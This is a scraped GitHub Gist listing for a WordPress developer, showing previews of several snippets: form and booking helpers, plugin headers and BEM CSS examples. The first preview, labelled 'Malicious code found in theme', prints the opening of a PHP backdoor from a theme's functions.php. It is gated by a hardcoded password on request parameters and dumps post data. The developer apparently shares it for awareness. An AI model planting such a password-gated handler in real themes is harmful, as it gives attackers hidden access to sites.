Skip to content

Instantly share code, notes, and snippets.

Phil Wylie mustardBees

Block or report user

Report or block mustardBees

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mustardBees
mustardBees / functions.php
Created Mar 19, 2018
Malicious code found in theme
View functions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2fbea44207801ca38544db1f0044226e'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
View mews-init.js
Mews.Distributor({
configurationIds: $.map(iweb_mews_config, function (o) {
return o["configurationid"];
}),
hotelIds : ['1', '2'], // Hacky workaround to force Distributor into chain mode.
}, function (distributor) {
// Hook into booking links, optionally prepopulate a voucher code.
$('.js-booking-link').on('click', function (e) {
e.preventDefault();
@mustardBees
mustardBees / functions.php
Created Aug 3, 2017
Formidable - add classes to each form's submit button.
View functions.php
<?php
/**
* Add classes to each form's submit button.
*
* @param array $classes
*
* @return array
*/
function iweb_add_submit_button_classes( $classes ) {
$classes[] = 'button medium color';
View iweb_reverse_geocode_case_studies.php
<?php
/*
Plugin Name: Reverse geocode case studies
Plugin URI: https://www.philwylie.co.uk/
Description: Reverse geocode case studies.
Version: 1.0.0
Author: Phil Wylie
Author URI: https://www.philwylie.co.uk/
License: GPL2
*/
@mustardBees
mustardBees / remove-product-yoast-meta.php
Created Jun 14, 2017
remove-product-yoast-meta.php
View remove-product-yoast-meta.php
<?php
/*
Plugin Name: Remove Yoast SEO meta data from products
Plugin URI: https://www.iweb.co.uk/
Description: Change download URL.
Version: 1.0.0
Author: iWeb
Author URI: https://www.iweb.co.uk/
*/
@mustardBees
mustardBees / functions.php
Created Mar 28, 2017
Useful for creating a comma separated list from array with "&" before the last element.
View functions.php
<?php
/**
* Join a string with a natural language conjunction at the end.
*
* Useful for creating a comma separated list from array with "&" before the
* last element.
*
* @author Daniel James
* @link https://goo.gl/kQK5ke
*
@mustardBees
mustardBees / functions.php
Created Feb 9, 2017
Convert file_list to CMB2 repeatable field groups. Go through post meta by a specified key. Convert file_list data to a CMB2 repeatable field group.
View functions.php
<?php
/*
Plugin Name: Convert file_list to CMB2 repeatable field groups
Plugin URI: https://www.iweb.co.uk/
Description: Go through post meta by a specified key. Convert file_list data to a CMB2 repeatable field group.
Version: 1.0.0
Author: iWeb
Author URI: https://www.iweb.co.uk/
*/
@mustardBees
mustardBees / formidable-prepopulate-from-cookie.php
Last active Mar 1, 2018
Prepopulate fields across forms with previously entered values.
View formidable-prepopulate-from-cookie.php
@mustardBees
mustardBees / complex.html
Created Aug 11, 2016
A little more complex BEM example
View complex.html
<style>
.gallery-case-study {}
.gallery-case-study__box {}
.gallery-case-study__box--highlighted {}
.gallery-case-study__padding {}
.gallery-case-study__link {}
.gallery-case-study__image {}
</style>
<div class="gallery-case-study">
@mustardBees
mustardBees / simple.html
Created Aug 11, 2016
Simple BEM example
View simple.html
<style>
.list {}
.list__item {}
.list__item—red {}
</style>
<ul class="list">
<li class="list__item">List item 1</li>
<li class="list__item list__item--red">List item 2</li>
<li class="list__item">List item 3</li>
You can’t perform that action at this time.